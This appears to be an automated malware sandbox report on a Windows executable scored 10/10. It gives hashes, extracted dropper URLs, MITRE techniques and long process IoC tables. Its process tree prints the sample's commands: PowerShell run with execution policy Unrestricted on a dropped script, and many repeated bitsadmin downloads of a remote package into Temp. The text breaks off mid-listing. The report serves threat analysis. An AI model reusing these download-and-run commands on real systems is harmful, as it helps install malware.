2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45

Analysis

max time kernel
133s
max time network
137s
platform
windows7_x64
resource
win7-20220414-en
submitted
22-06-2022 12:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe
Size

178KB
MD5

11b9082675b71a1c319bc954cc665335
SHA1

49aa43a8c983720d246e8d4b6e6a3f1257337ce7
SHA256

2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45
SHA512

363920817e473a70679bb4f6f880fcbd0fbdec4b4018cffecdab3130b10816a2fb9c6b8a49e6f97686a7528186273a47026a24501c7ae60264a160f40adad8ed

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://chocolatey.org/7za.exe

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
4	1104	powershell.exe
5	1104	powershell.exe
9	1104	powershell.exe
10	1104	powershell.exe
13	1104	powershell.exe
14	1104	powershell.exe
17	1104	powershell.exe
18	1104	powershell.exe
21	1104	powershell.exe
22	1104	powershell.exe
25	1104	powershell.exe
26	1104	powershell.exe
30	1104	powershell.exe
31	1104	powershell.exe
34	1104	powershell.exe
35	1104	powershell.exe
38	1104	powershell.exe
39	1104	powershell.exe
42	1104	powershell.exe
43	1104	powershell.exe
46	1104	powershell.exe
47	1104	powershell.exe
50	1104	powershell.exe
51	1104	powershell.exe
54	1104	powershell.exe
55	1104	powershell.exe
58	1104	powershell.exe
59	1104	powershell.exe
62	1104	powershell.exe
63	1104	powershell.exe
66	1104	powershell.exe
67	1104	powershell.exe
70	1104	powershell.exe
71	1104	powershell.exe
74	1104	powershell.exe
75	1104	powershell.exe
78	1104	powershell.exe
79	1104	powershell.exe
82	1104	powershell.exe
83	1104	powershell.exe
86	1104	powershell.exe
87	1104	powershell.exe
90	1104	powershell.exe
91	1104	powershell.exe
94	1104	powershell.exe
95	1104	powershell.exe
98	1104	powershell.exe
99	1104	powershell.exe
102	1104	powershell.exe
103	1104	powershell.exe
106	1104	powershell.exe
107	1104	powershell.exe
110	1104	powershell.exe
111	1104	powershell.exe
114	1104	powershell.exe
115	1104	powershell.exe
118	1104	powershell.exe
119	1104	powershell.exe
122	1104	powershell.exe
123	1104	powershell.exe
126	1104	powershell.exe
127	1104	powershell.exe
130	1104	powershell.exe
131	1104	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 64 IoCs

dropper

BITS Jobs

T1197

pid	Process
1780	bitsadmin.exe
568	bitsadmin.exe
1868	bitsadmin.exe
1856	bitsadmin.exe
2016	bitsadmin.exe
1268	bitsadmin.exe
1780	bitsadmin.exe
1952	bitsadmin.exe
1088	bitsadmin.exe
1932	bitsadmin.exe
868	bitsadmin.exe
680	bitsadmin.exe
924	bitsadmin.exe
1316	bitsadmin.exe
1296	bitsadmin.exe
1092	bitsadmin.exe
1996	bitsadmin.exe
1052	bitsadmin.exe
1788	bitsadmin.exe
924	bitsadmin.exe
1784	bitsadmin.exe
1268	bitsadmin.exe
1488	bitsadmin.exe
748	bitsadmin.exe
1480	bitsadmin.exe
948	bitsadmin.exe
1864	bitsadmin.exe
1984	bitsadmin.exe
1600	bitsadmin.exe
1720	bitsadmin.exe
1356	bitsadmin.exe
956	bitsadmin.exe
1084	bitsadmin.exe
1732	bitsadmin.exe
564	bitsadmin.exe
556	bitsadmin.exe
2012	bitsadmin.exe
1984	bitsadmin.exe
1704	bitsadmin.exe
2012	bitsadmin.exe
932	bitsadmin.exe
1776	bitsadmin.exe
600	bitsadmin.exe
676	bitsadmin.exe
1092	bitsadmin.exe
1488	bitsadmin.exe
1788	bitsadmin.exe
1528	bitsadmin.exe
968	bitsadmin.exe
1932	bitsadmin.exe
1560	bitsadmin.exe
2016	bitsadmin.exe
1520	bitsadmin.exe
556	bitsadmin.exe
1260	bitsadmin.exe
1616	bitsadmin.exe
1288	bitsadmin.exe
1088	bitsadmin.exe
1500	bitsadmin.exe
1788	bitsadmin.exe
976	bitsadmin.exe
1324	bitsadmin.exe
1680	bitsadmin.exe
1636	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1104	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 1980	1364	2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe	30
PID 1364 wrote to memory of 1980	1364	2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe	30
PID 1364 wrote to memory of 1980	1364	2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe	30
PID 1364 wrote to memory of 1980	1364	2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe	30
PID 1980 wrote to memory of 1104	1980	cmd.exe	32
PID 1980 wrote to memory of 1104	1980	cmd.exe	32
PID 1980 wrote to memory of 1104	1980	cmd.exe	32
PID 1980 wrote to memory of 1104	1980	cmd.exe	32
PID 1980 wrote to memory of 1916	1980	cmd.exe	33
PID 1980 wrote to memory of 1916	1980	cmd.exe	33
PID 1980 wrote to memory of 1916	1980	cmd.exe	33
PID 1980 wrote to memory of 1916	1980	cmd.exe	33
PID 1104 wrote to memory of 1696	1104	powershell.exe	34
PID 1104 wrote to memory of 1696	1104	powershell.exe	34
PID 1104 wrote to memory of 1696	1104	powershell.exe	34
PID 1104 wrote to memory of 1696	1104	powershell.exe	34
PID 1696 wrote to memory of 1384	1696	cmd.exe	36
PID 1696 wrote to memory of 1384	1696	cmd.exe	36
PID 1696 wrote to memory of 1384	1696	cmd.exe	36
PID 1696 wrote to memory of 1384	1696	cmd.exe	36
PID 1104 wrote to memory of 1480	1104	powershell.exe	37
PID 1104 wrote to memory of 1480	1104	powershell.exe	37
PID 1104 wrote to memory of 1480	1104	powershell.exe	37
PID 1104 wrote to memory of 1480	1104	powershell.exe	37
PID 1480 wrote to memory of 1624	1480	cmd.exe	39
PID 1480 wrote to memory of 1624	1480	cmd.exe	39
PID 1480 wrote to memory of 1624	1480	cmd.exe	39
PID 1480 wrote to memory of 1624	1480	cmd.exe	39
PID 1104 wrote to memory of 1504	1104	powershell.exe	40
PID 1104 wrote to memory of 1504	1104	powershell.exe	40
PID 1104 wrote to memory of 1504	1104	powershell.exe	40
PID 1104 wrote to memory of 1504	1104	powershell.exe	40
PID 1504 wrote to memory of 2012	1504	cmd.exe	42
PID 1504 wrote to memory of 2012	1504	cmd.exe	42
PID 1504 wrote to memory of 2012	1504	cmd.exe	42
PID 1504 wrote to memory of 2012	1504	cmd.exe	42
PID 1104 wrote to memory of 368	1104	powershell.exe	43
PID 1104 wrote to memory of 368	1104	powershell.exe	43
PID 1104 wrote to memory of 368	1104	powershell.exe	43
PID 1104 wrote to memory of 368	1104	powershell.exe	43
PID 368 wrote to memory of 924	368	cmd.exe	45
PID 368 wrote to memory of 924	368	cmd.exe	45
PID 368 wrote to memory of 924	368	cmd.exe	45
PID 368 wrote to memory of 924	368	cmd.exe	45
PID 1104 wrote to memory of 904	1104	powershell.exe	46
PID 1104 wrote to memory of 904	1104	powershell.exe	46
PID 1104 wrote to memory of 904	1104	powershell.exe	46
PID 1104 wrote to memory of 904	1104	powershell.exe	46
PID 904 wrote to memory of 1764	904	cmd.exe	48
PID 904 wrote to memory of 1764	904	cmd.exe	48
PID 904 wrote to memory of 1764	904	cmd.exe	48
PID 904 wrote to memory of 1764	904	cmd.exe	48
PID 1104 wrote to memory of 1560	1104	powershell.exe	49
PID 1104 wrote to memory of 1560	1104	powershell.exe	49
PID 1104 wrote to memory of 1560	1104	powershell.exe	49
PID 1104 wrote to memory of 1560	1104	powershell.exe	49
PID 1560 wrote to memory of 1528	1560	cmd.exe	51
PID 1560 wrote to memory of 1528	1560	cmd.exe	51
PID 1560 wrote to memory of 1528	1560	cmd.exe	51
PID 1560 wrote to memory of 1528	1560	cmd.exe	51
PID 1104 wrote to memory of 868	1104	powershell.exe	52
PID 1104 wrote to memory of 868	1104	powershell.exe	52
PID 1104 wrote to memory of 868	1104	powershell.exe	52
PID 1104 wrote to memory of 868	1104	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe
"C:\Users\Admin\AppData\Local\Temp\2e01da3e410a16c1bbeb11669e5e05f4f414434d4568441a301a4e5c769cdc45.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -ep Unrestricted -f "C:\ProgramData\KBUxmd.ps1" | find /v "" >> "C:\Users\Admin\AppData\Local\Temp\AUVQQRRF.log"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep Unrestricted -f "C:\ProgramData\KBUxmd.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1384
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1480
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1504
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:368
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:904
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1560
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:868
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1136
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1808
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1636
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1260
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:108
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1592
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:664
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1324
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1736
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1136
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1648
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:528
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1628
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:932
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1504
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1596
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1568
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1724
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1316
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1156
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:536
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
